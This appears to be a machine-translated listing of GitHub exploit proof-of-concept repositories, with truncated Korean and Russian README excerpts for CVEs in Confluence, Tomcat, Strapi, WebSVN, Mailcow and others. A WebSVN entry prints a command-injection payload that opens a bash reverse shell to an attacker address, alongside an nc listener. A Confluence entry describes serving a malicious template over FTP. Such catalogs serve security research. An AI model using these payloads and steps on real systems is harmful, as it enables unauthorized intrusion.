CVE-2019-3396_EXP

CVE-2019-3396EXP CVE-2019-3396 컨플루언스 SSTI RCE 1、cmd.vm 파일을 웹사이트에 업로드하세요 ftp 또는 https를 사용해야 하며, http는 작동하지 않습니다 2、RCEexp.py를 수정하고，filename = 'ftp://1.1.1.1/cmd.vm' 로 변경하세요 （python -m pyftpdlib -p 21） 3、python RECexp.py http://test.wikitest.cc:8080 "whoami" $ python RECexp.py...

CVE-2022-41828

CVE-2022-41828 Amazon AWS Redshift JDBC 드라이버 원격 코드 실행 RCE Amazon JDBC Driver for Redshift는 Java Platform, Enterprise Editions에서 제공하는 표준 JDBC 애플리케이션 프로그래밍 인터페이스API를 통해 데이터베이스 연결을 제공하는 Type 4 JDBC 드라이버입니다. 이 드라이버는 모든 Java 애플리케이션, 애플리케이션 서버 또는 Java 지원 애플릿에서 Redshift에 접근할 수 있도록 합니다. redshift-jdbc42 버...

CVE-2025-54253-Exploit-Demo

🚨 CVE-2025-54253 – Adobe AEM Forms на JEE: внедрение OGNL, приводящее к RCE 🔎 Обзор CVE-2025-54253 — это критическая уязвимость внедрения OGNL в Adobe AEM Forms на JEE. Она позволяет неавторизованным злоумышленникам выполнять произвольные команды операционной системы через конечную точку...

CVE-2018-11235-Git-Submodule-CE

CVE-2018-11235-Git-Submodule-CE CVE-2018-11235-Git PoC Docker에서 가져오기 docker pull qweraqq/cve-2018-11235-git-submodule-rce Git Http 서버 시작 docker run -d -p 8080:80 qweraqq/cve-2018-11235-git-submodule-rce PoC git clone --recurse-submodules http://git.gitserver/malicious.git...

CVE-2023-26035

CVE-2023-26035 ZoneMinder Snapshots - Неавторизованный доступ Установка Клонировать репозиторий $ git clone https://github.com/Yuma-Tsushima07/CVE-2023-26035.git Настройка Примечание: Установите последнюю версию node $ npm init $ npm i axios cheerio yargs Использование...

CVE-2019-19609

CVE-2019-19609 Strapi 프레임워크, 원격 코드 실행 취약점 음, CVE-2019-19609에 대한 익스플로잇을 찾지 못해서 직접 작성했습니다. :/ 사용법 python3 exploit.py 동영상 https://youtu.be/alhZJmuUd2s 추가 정보 https://hack-fast.herokuapp.com/cve/CVE-2019-19609 https://github.com/strapi/strapi/pull/4636...

CVE-2020-35682

CVE-2020-35682 SD-91948: CVE-2020-35682: ServiceDesk Plus의 SAML 로그인 중 발생하는 인증 우회 취약점입니다. ManageEngine에 설명된 대로. 대상 ServiceDesk Plus11134 설치본에서 SAML 로그인이 활성화되어 있고 낮은 권한 사용자의 자격 증명을 보유하고 있다면 관리자로 권한을 상승시켜 RCE를 획득할 수 있습니다. 이 취약점을 악용하는 데 대한 공개 익스플로잇이나 자세한 설명이 없어 이 POC를 공개하기로 결정했습니다. 코드는 다소 지저분하지만 동작합니...

CVE-2024-30850-chaos-rat-rce-poc

https://github.com/chebuya/CVE-2024-30850-chaos-rat-rce-poc/assets/146861503/ac03c8c7-54b3-4280-9f29-719c44af5192 CHAOS RAT v5.01 RCE веб-панели CVE-2024-30850, CVE-2024-31839 https://github.com/tiagorlampert/CHAOS Этот эксплойт работает путем подмены callback-запроса агента для XSS CVE-2024-3183...

CVE-2023-21608

CVE-2023-21608 Discord Server 이 버그는 객체 메모리 참조를 처리하는 동안 resetForm 작업에서 발생한 Use after Free 취약점입니다. 블로그 Adobe Acrobat Reader - resetForm - CAgg UaF - RCE Exploit - CVE-2023-21608 권고 CVE-2023-21608 데모...

CVE-2021-32305-websvn-2.6.0

CVE-2021-3205-websvn-2.6.0 이것은 CVE-2021-3205의 익스플로잇으로, search.php 경로에서 명령어 주입이 가능한 웹 취약점입니다. 이 익스플로잇을 통해 명령어를 실행할 수 있습니다. 요구 사항 optparse, signal, requests 사용법 ❯ python3 CVE-2021-3205.py --url http://10.0.2.168/websvn/ --payload "bash -c 'bash -i & /dev/tcp/10.0.2.133/443 0&1'" ... ❯ nc -nlvp 443...

CVE-2020-9484

CVE-2020-9484 Apache Tomcat RCE CVE-2020-9484 Затронутые версии: Apache Tomcat 10.x 10.0.0-M5 Apache Tomcat 9.x 9.0.35 Apache Tomcat 8.x 8.5.55 Apache Tomcat 7.x 7.0.104...

Eaton-Intelligent-Power-Manager-Local-File-Inclusion

Eaton-Intelligent-Power-Manager-Local-File-Inclusion Eaton Intelligent Power Manager v1.6의 로컬 파일 포함LFI 취약점으로 인해 공격자가 파일을 포함시킬 수 있으며, 이는 민감한 정보 노출, 서비스 거부DoS 및 코드 실행으로 이어질 수 있습니다. CVE-2018-12031 취약점을 악용하기 위해 공격자는...

CVE-2020-10204

CVE-2020-10204 CVE-2020-10204 원격 명령 실행 스크립트 더 많은 스크립트 파일은 다음을 참조하십시오: https://github.com/zhzyker/exphub Readme +---------------------------------------------------------------------------------------------------------+ + DES: by zhzyker as https://github.com/zhzyker/exphub + + CVE-2020-10204 Nexu...

Firefox-CVE-2024-9680

Firefox CVE-2024-9680 CVE-2024-9680 Описание Злоумышленник смог добиться выполнения кода в контентном процессе, используя уязвимость use-after-free в временных шкалах анимации. У нас есть сообщения об эксплуатации этой уязвимости в реальных условиях. Эта уязвимость затрагивает Firefox 131.0.2,...

ColdFusionPwn

ColdFusionPwn Adobe Coldfusion 11/12를 대상으로 하는 CVE-2017-3066 공격 도구입니다. 설명 이 도구를 사용하면 허용된 클래스에 대한 입력 검증 누락을 악용하기 위한 직렬화된 AMF 페이로드를 생성할 수 있습니다. 자세한 내용은 블로그 게시물을 참조하세요. 설치 최신 버전의 ysoserial을 받으세요. 릴리스에서 ColdFusionPwn을 받으세요. 사용법 java -cp ColdFusionPwn-0.0.1-SNAPSHOT-all.jar:ysoserial-master-SNAPSHOT.ja...

CVE-2022-21907

CVE-2022-21907 Уязвимость в стеке протокола HTTP, позволяющая удаленно выполнять код и возможный сбой системы. Содержание CVE-2022-21907 Описание Конфигурация машины-жертвы Конфигурация машины атакующего Эксплойт Доказательство концепции Ссылки Описание CVE-2022-21907 — это уязвимость в стеке...

CVE-2020-27955

Эксплойт удаленного выполнения кода RCE Git-lfs CVE-2020-27955 .bat / powershell версия Уязвимы: git, GitHub CLI gh, GitHub Desktop, Visual Studio Code, SourceTree, SmartGit, GitKraken и др. Обнаружено Dawid Golunski https://legalhackers.com https://exploitbox.io Протестировано на Windows на: git...

CVE-2017-12615

CVE-2017-12615...

Mailcow-CVE-2022-31245

Mailcow CVE-2022-31245 CVE-2022-31245: Mailcow를 위한 RCE 및 도메인 관리자 권한 상승. POC 포함. 보고 및 수정: 2022-05 패치된 버전: https://github.com/mailcow/mailcow-dockerized/releases/tag/2022-05d CVE: https://vulners.com/cve/CVE-2022-31245 CVE-2022-31245: 명령 주입, RCE 심각도: 3/3 유형: 명령 주입, RCE, 도메인 탈취 영향을 받는 버전: 최소 2019 -...

CVE-2021-43258

CVE-2021-43258 ChurchInfo 1.2.13-1.3.0 — эксплойт удаленного выполнения кода Полное название| ChurchInfo 1.2.13-1.3.0 — эксплойт удаленного выполнения кода ---|--- Дата добавления| 21-11-2022 Категория| удаленные эксплойты Платформа| php Риск| Критический уровень риска Описание| Этот модуль...